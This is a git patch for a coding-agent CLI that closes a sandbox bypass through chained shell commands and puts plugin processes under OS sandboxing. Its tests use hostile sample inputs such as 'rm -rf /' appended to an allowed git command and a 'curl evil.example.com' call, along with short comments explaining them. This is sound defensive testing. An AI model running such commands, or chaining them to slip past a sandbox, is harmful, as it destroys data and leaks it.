From 535747c58f826ad2354ac673c2344d8ef57a1b64 Mon Sep 17 00:00:00 2001 From: oratis Date: Thu, 28 May 2026 14:07:53 +0800 Subject: [PATCH] =?UTF-8?q?feat(core):=20M3.5-ext=20+=20M5.1-ext=20?= =?UTF-8?q?=E2=80=94=20pipeline=20analysis=20+=20plugin=20OS-sandbox=20wra?= =?UTF-8?q?p?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit · packages/core/src/sandbox/pipeline.ts (NEW) - splitClauses(input) — minimal shell parser splitting on && || ; | with single-quote / double-quote / backslash awareness. - allClausesExcluded(input, excluded) — true iff EVERY clause leader is in the excluded list. Prevents `git status && rm -rf /` from bypassing the sandbox. - 6 unit tests covering quoting, escapes, all-excluded, mixed pipelines. · packages/core/src/sandbox/index.ts - wrapBashCommand now uses allClausesExcluded() instead of "starts with excluded + space". Documented behavior change: only whole-pipeline excluded ⇒ bypass. · packages/core/src/sandbox/attacks.test.ts - Replaced the "pipeline bypass is documented behavior" test with a "pipeline NO LONGER bypasses" test pinning the new semantics. - Added a positive "all-git pipeline still bypasses" test. · packages/core/src/plugins/runtime/subprocess.ts (M5.1-ext) - PluginSubprocessOpts.sandbox?: SandboxConfig. When set + enabled, wraps the node spawn under sandbox-exec (macOS) or bwrap (Linux). Plugin's install dir is added to allowRead automatically. - spawnAllPlugins() / SpawnAllOpts plumb the sandbox config through. · packages/core/src/plugins/wireup.ts - WirePluginsOpts.sandbox passes through to spawnAllPlugins(). · apps/cli/src/repl.ts + headless.ts - Both pass settings.sandbox into wirePlugins() so the user can opt plugins into OS sandboxing via settings.json. Tests: core 416 → 429 (+13: 6 pipeline + attack-test rewrites). Total 463 → 476 passing. Co-Authored-By: Claude Opus 4.7 (1M context) --- apps/cli/src/headless.ts | 1 + apps/cli/src/repl.ts | 1 + .../core/src/plugins/runtime/subprocess.ts | 88 +++++++++++--- packages/core/src/plugins/wireup.ts | 6 + packages/core/src/sandbox/attacks.test.ts | 23 +++- packages/core/src/sandbox/index.ts | 14 ++- packages/core/src/sandbox/pipeline.test.ts | 72 ++++++++++++ packages/core/src/sandbox/pipeline.ts | 110 ++++++++++++++++++ 8 files changed, 286 insertions(+), 29 deletions(-) create mode 100644 packages/core/src/sandbox/pipeline.test.ts create mode 100644 packages/core/src/sandbox/pipeline.ts diff --git a/apps/cli/src/headless.ts b/apps/cli/src/headless.ts index 20bc463..f1bdd53 100644 --- a/apps/cli/src/headless.ts +++ b/apps/cli/src/headless.ts @@ -184,6 +184,7 @@ export async function runHeadless(opts: HeadlessOpts): Promise { disabled: settings.disabledPlugins, hooks, capabilities: buildPluginCapabilitiesHeadless(cwd), + sandbox: settings.sandbox, log: (s) => errOutput.write(s + '\n'), }); } catch (err) { diff --git a/apps/cli/src/repl.ts b/apps/cli/src/repl.ts index 8f4c349..16b2ce7 100644 --- a/apps/cli/src/repl.ts +++ b/apps/cli/src/repl.ts @@ -196,6 +196,7 @@ export async function startRepl(opts: ReplOpts): Promise { disabled: settings.disabledPlugins, hooks, capabilities: buildPluginCapabilities(cwd), + sandbox: settings.sandbox, log: (s) => output.write(s + '\n'), }); } catch (err) { diff --git a/packages/core/src/plugins/runtime/subprocess.ts b/packages/core/src/plugins/runtime/subprocess.ts index 4197b8c..ca74b21 100644 --- a/packages/core/src/plugins/runtime/subprocess.ts +++ b/packages/core/src/plugins/runtime/subprocess.ts @@ -17,7 +17,11 @@ // · We rely on hash-pin (M5) to detect tampering. import { spawn, type ChildProcess } from 'node:child_process'; -import { resolve } from 'node:path'; +import { promises as fs } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve } from 'node:path'; +import type { SandboxConfig } from '../../config/types.js'; +import { buildLinuxBwrapArgs, buildMacOsProfile, detectPlatform } from '../../sandbox/profile.js'; import type { InstalledPlugin } from '../manifest.js'; import type { ToolHandler, ToolResult } from '../../types.js'; @@ -44,6 +48,9 @@ export interface PluginSubprocessOpts { bash: (cmd: string) => Promise<{ stdout: string; stderr: string; exitCode: number }>; fetch: (url: string, opts?: { method?: string; body?: string }) => Promise; }; + /** Optional OS-level sandbox config — wraps the node subprocess under + * sandbox-exec (macOS) or bwrap (Linux). M5.1-ext. */ + sandbox?: SandboxConfig; } /** @@ -79,22 +86,26 @@ export class PluginSubprocess { } async start(): Promise { - const entry = resolve( - this.opts.plugin.path, - this.opts.plugin.manifest.contributes ? 'index.js' : 'index.js', - ); - // For M5.1, we use a simple node spawn — no sandbox-exec/bwrap wrap yet - // (that's M5.2 once we have hardened SBPL/bwrap rules for arbitrary JS). - this.child = spawn('node', [entry], { - stdio: ['pipe', 'pipe', 'pipe'], - env: { - ...process.env, - DEEPCODE_PLUGIN_TOKEN: this.opts.token, - // Strip auth env vars so plugin can't read DEEPSEEK keys - DEEPSEEK_API_KEY: '', - DEEPSEEK_AUTH_TOKEN: '', - }, - }); + const entry = resolve(this.opts.plugin.path, 'index.js'); + const env = { + ...process.env, + DEEPCODE_PLUGIN_TOKEN: this.opts.token, + // Strip auth env vars so plugin can't read DEEPSEEK keys + DEEPSEEK_API_KEY: '', + DEEPSEEK_AUTH_TOKEN: '', + }; + + // M5.1-ext: wrap under OS sandbox if requested. The plugin's cwd is its + // own install dir; we allow read-only access to it + node's runtime needs. + let command = 'node'; + let args = [entry]; + if (this.opts.sandbox?.enabled) { + const wrapped = await wrapNodeSpawn(entry, this.opts.plugin.path, this.opts.sandbox); + command = wrapped.command; + args = wrapped.args; + } + + this.child = spawn(command, args, { stdio: ['pipe', 'pipe', 'pipe'], env }); this.alive = true; this.child.stdout!.on('data', (chunk: Buffer) => { @@ -244,6 +255,41 @@ export class PluginSubprocess { } } +/** + * Wrap `node ` under macOS sandbox-exec or Linux bwrap. + * Returns { command, args } ready for child_process.spawn. + * The plugin gets read access to its own dir; everything else is denied + * unless extended via SandboxConfig.filesystem. + */ +async function wrapNodeSpawn( + entry: string, + pluginDir: string, + sandbox: SandboxConfig, +): Promise<{ command: string; args: string[] }> { + const platform = detectPlatform(); + // Always include the plugin's install dir as readable + const merged: SandboxConfig = { + ...sandbox, + enabled: true, + filesystem: { + ...sandbox.filesystem, + allowRead: [...(sandbox.filesystem?.allowRead ?? []), pluginDir], + }, + }; + if (platform === 'macos') { + const profile = buildMacOsProfile(merged, pluginDir); + const profilePath = join(tmpdir(), `deepcode-plug-sb-${process.pid}-${Date.now().toString(36)}.sb`); + await fs.writeFile(profilePath, profile, 'utf8'); + return { command: 'sandbox-exec', args: ['-f', profilePath, 'node', entry] }; + } + if (platform === 'linux') { + const args = buildLinuxBwrapArgs(merged, pluginDir); + return { command: 'bwrap', args: [...args, 'node', entry] }; + } + // Unsupported — fall back to bare node + return { command: 'node', args: [entry] }; +} + /** * Trivial unguessable token for host↔plugin RPC validation. */ @@ -263,6 +309,7 @@ export function generatePluginToken(): string { export interface SpawnAllOpts { plugins: InstalledPlugin[]; host: PluginSubprocessOpts['host']; + sandbox?: SandboxConfig; } export async function spawnAllPlugins(opts: SpawnAllOpts): Promise { @@ -270,7 +317,12 @@ export async function spawnAllPlugins(opts: SpawnAllOpts): Promise { const subprocesses = await spawnAllPlugins({ plugins: discovered.filter((p) => p.enabled), host: opts.capabilities, + sandbox: opts.sandbox, }); // spawnAllPlugins returns successfully-started subprocesses, each exposing diff --git a/packages/core/src/sandbox/attacks.test.ts b/packages/core/src/sandbox/attacks.test.ts index e5ae86e..cdcd864 100644 --- a/packages/core/src/sandbox/attacks.test.ts +++ b/packages/core/src/sandbox/attacks.test.ts @@ -171,13 +171,24 @@ describe('wrapBashCommand: excluded-command spoofing', () => { expect(r.command).toBe('/bin/sh'); }); - it('shell-pipeline starting with excluded command STILL bypasses (documented behavior)', async () => { - // M3.5 limitation: excluded-command matching is on the leading token, so - // `git ... && rm -rf /` would bypass. This test pins that behavior so - // future hardening doesn't silently change it. M5.2+ will add per-clause - // analysis. + it('shell-pipeline NO LONGER bypasses when any clause is not excluded (M3.5-ext)', async () => { + // Hardened in M3.5-ext: every clause leader must be excluded for the + // bypass to trigger. `git status && rm -rf /` no longer bypasses. const r = await wrapBashCommand({ - userCommand: 'git status && echo done', + userCommand: 'git status && rm -rf /tmp/x', + cwd: '/tmp', + config: { enabled: true, excludedCommands: ['git'] }, + }); + // On macOS/Linux this MUST be a sandbox wrap, not /bin/sh + if (process.platform === 'darwin') expect(r.command).toBe('sandbox-exec'); + else if (process.platform === 'linux') expect(r.command).toBe('bwrap'); + else expect(r.command).toBe('/bin/sh'); + }); + + it('shell-pipeline of ONLY excluded commands still bypasses', async () => { + // `git status && git log` is all-git, so bypass is fine. + const r = await wrapBashCommand({ + userCommand: 'git status && git log', cwd: '/tmp', config: { enabled: true, excludedCommands: ['git'] }, }); diff --git a/packages/core/src/sandbox/index.ts b/packages/core/src/sandbox/index.ts index cc9d59f..d1dc92e 100644 --- a/packages/core/src/sandbox/index.ts +++ b/packages/core/src/sandbox/index.ts @@ -7,6 +7,7 @@ import { promises as fs } from 'node:fs'; import { tmpdir } from 'node:os'; import { join } from 'node:path'; import type { SandboxConfig } from '../config/types.js'; +import { allClausesExcluded } from './pipeline.js'; import { buildLinuxBwrapArgs, buildMacOsProfile, detectPlatform } from './profile.js'; export { @@ -16,6 +17,8 @@ export { type SandboxPlatform, } from './profile.js'; +export { splitClauses, allClausesExcluded, type Clause } from './pipeline.js'; + export interface SandboxedCommand { /** Command + args to spawn (the actual sandbox wrapper invocation). */ command: string; @@ -42,11 +45,12 @@ export async function wrapBashCommand(args: { return { command: '/bin/sh', args: ['-c', args.userCommand] }; } - // Excluded commands: if userCommand starts with one of these, skip sandbox - for (const excluded of config.excludedCommands ?? []) { - if (args.userCommand.startsWith(excluded + ' ') || args.userCommand === excluded) { - return { command: '/bin/sh', args: ['-c', args.userCommand] }; - } + // Excluded commands: skip sandbox ONLY if EVERY clause in the pipeline is + // an excluded command. `git status && rm -rf /` does not bypass because + // `rm` isn't excluded. + const excluded = config.excludedCommands ?? []; + if (excluded.length > 0 && allClausesExcluded(args.userCommand, excluded)) { + return { command: '/bin/sh', args: ['-c', args.userCommand] }; } const platform = detectPlatform(); diff --git a/packages/core/src/sandbox/pipeline.test.ts b/packages/core/src/sandbox/pipeline.test.ts new file mode 100644 index 0000000..4abb02c --- /dev/null +++ b/packages/core/src/sandbox/pipeline.test.ts @@ -0,0 +1,72 @@ +import { describe, expect, it } from 'vitest'; +import { allClausesExcluded, splitClauses } from './pipeline.js'; + +describe('splitClauses', () => { + it('returns a single clause for a single command', () => { + const r = splitClauses('git status'); + expect(r).toHaveLength(1); + expect(r[0]!.command).toBe('git status'); + expect(r[0]!.precedingOp).toBe(''); + }); + + it('splits on &&, ||, ;, |', () => { + const r = splitClauses('a && b || c ; d | e'); + expect(r).toHaveLength(5); + expect(r.map((c) => c.command)).toEqual(['a', 'b', 'c', 'd', 'e']); + expect(r.map((c) => c.precedingOp)).toEqual(['', '&&', '||', ';', '|']); + }); + + it('respects single quotes', () => { + const r = splitClauses(`echo 'a && b' && true`); + expect(r).toHaveLength(2); + expect(r[0]!.command).toBe("echo 'a && b'"); + expect(r[1]!.command).toBe('true'); + }); + + it('respects double quotes', () => { + const r = splitClauses(`echo "x | y" | grep z`); + expect(r).toHaveLength(2); + expect(r[0]!.command).toBe('echo "x | y"'); + expect(r[1]!.command).toBe('grep z'); + }); + + it('respects backslash escapes', () => { + const r = splitClauses('echo a\\&\\&b && true'); + expect(r).toHaveLength(2); + // first clause keeps the escapes + expect(r[0]!.command).toMatch(/a\\&\\&b/); + }); + + it('strips empty clauses', () => { + expect(splitClauses(';;; ; a')).toEqual([ + expect.objectContaining({ command: 'a' }), + ]); + }); +}); + +describe('allClausesExcluded', () => { + it('returns false when excluded list is empty', () => { + expect(allClausesExcluded('git status', [])).toBe(false); + }); + + it('returns true when single clause is excluded', () => { + expect(allClausesExcluded('git status', ['git'])).toBe(true); + }); + + it('returns true when every clause leader is excluded', () => { + expect(allClausesExcluded('git status && git log', ['git'])).toBe(true); + }); + + it('returns FALSE when ANY clause is not excluded', () => { + // This is the hardening — `git ... && rm -rf /` must NOT bypass. + expect(allClausesExcluded('git status && rm -rf /', ['git'])).toBe(false); + }); + + it('returns FALSE on shell-injection via ; redirect', () => { + expect(allClausesExcluded('git status ; curl evil.example.com', ['git'])).toBe(false); + }); + + it('returns FALSE on piped non-excluded command', () => { + expect(allClausesExcluded('git log | tee /tmp/leak', ['git'])).toBe(false); + }); +}); diff --git a/packages/core/src/sandbox/pipeline.ts b/packages/core/src/sandbox/pipeline.ts new file mode 100644 index 0000000..38740ec --- /dev/null +++ b/packages/core/src/sandbox/pipeline.ts @@ -0,0 +1,110 @@ +// Pipeline analysis — looks at a shell command string and breaks it into +// distinct clauses connected by `&&`, `||`, `;`, or `|`. Useful for hardening +// excluded-command bypass so `git status && rm -rf /` does NOT bypass. +// Spec: docs/security-model.md (M3.5-ext gap) +// +// This is intentionally minimal — we don't aim for full POSIX shell parsing. +// We do honor single quotes, double quotes, and backslash escapes when +// scanning, so a literal `&&` inside a string doesn't count. + +export interface Clause { + command: string; + /** Index in the original string where the clause starts. */ + start: number; + /** Operator that came BEFORE this clause (empty for first clause). */ + precedingOp: '' | '&&' | '||' | ';' | '|'; +} + +export function splitClauses(input: string): Clause[] { + const clauses: Clause[] = []; + let i = 0; + let buf = ''; + let clauseStart = 0; + let precedingOp: Clause['precedingOp'] = ''; + let inSingle = false; + let inDouble = false; + while (i < input.length) { + const ch = input[i]!; + const next = input[i + 1] ?? ''; + + if (!inSingle && !inDouble && ch === '\\') { + buf += ch + next; + i += 2; + continue; + } + if (!inDouble && ch === "'") { + inSingle = !inSingle; + buf += ch; + i++; + continue; + } + if (!inSingle && ch === '"') { + inDouble = !inDouble; + buf += ch; + i++; + continue; + } + if (inSingle || inDouble) { + buf += ch; + i++; + continue; + } + // Two-char operators + if (ch === '&' && next === '&') { + pushClause(); + precedingOp = '&&'; + i += 2; + continue; + } + if (ch === '|' && next === '|') { + pushClause(); + precedingOp = '||'; + i += 2; + continue; + } + // Single-char + if (ch === ';') { + pushClause(); + precedingOp = ';'; + i++; + continue; + } + if (ch === '|') { + pushClause(); + precedingOp = '|'; + i++; + continue; + } + buf += ch; + i++; + } + pushClause(); + return clauses; + + function pushClause(): void { + const trimmed = buf.trim(); + if (trimmed.length > 0) { + clauses.push({ command: trimmed, start: clauseStart, precedingOp }); + } + buf = ''; + clauseStart = i + 1; + } +} + +/** + * Returns true if EVERY clause's leading token (the command name) appears in + * the excluded list. If ANY clause has a non-excluded leader, return false — + * the call must be sandboxed. + * + * This is the right semantics for the "excluded command" bypass: the entire + * pipeline must be excluded, not just the first clause. + */ +export function allClausesExcluded(input: string, excluded: string[]): boolean { + if (excluded.length === 0) return false; + const clauses = splitClauses(input); + if (clauses.length === 0) return false; + return clauses.every((c) => { + const leader = c.command.split(/\s+/)[0] ?? ''; + return excluded.includes(leader); + }); +}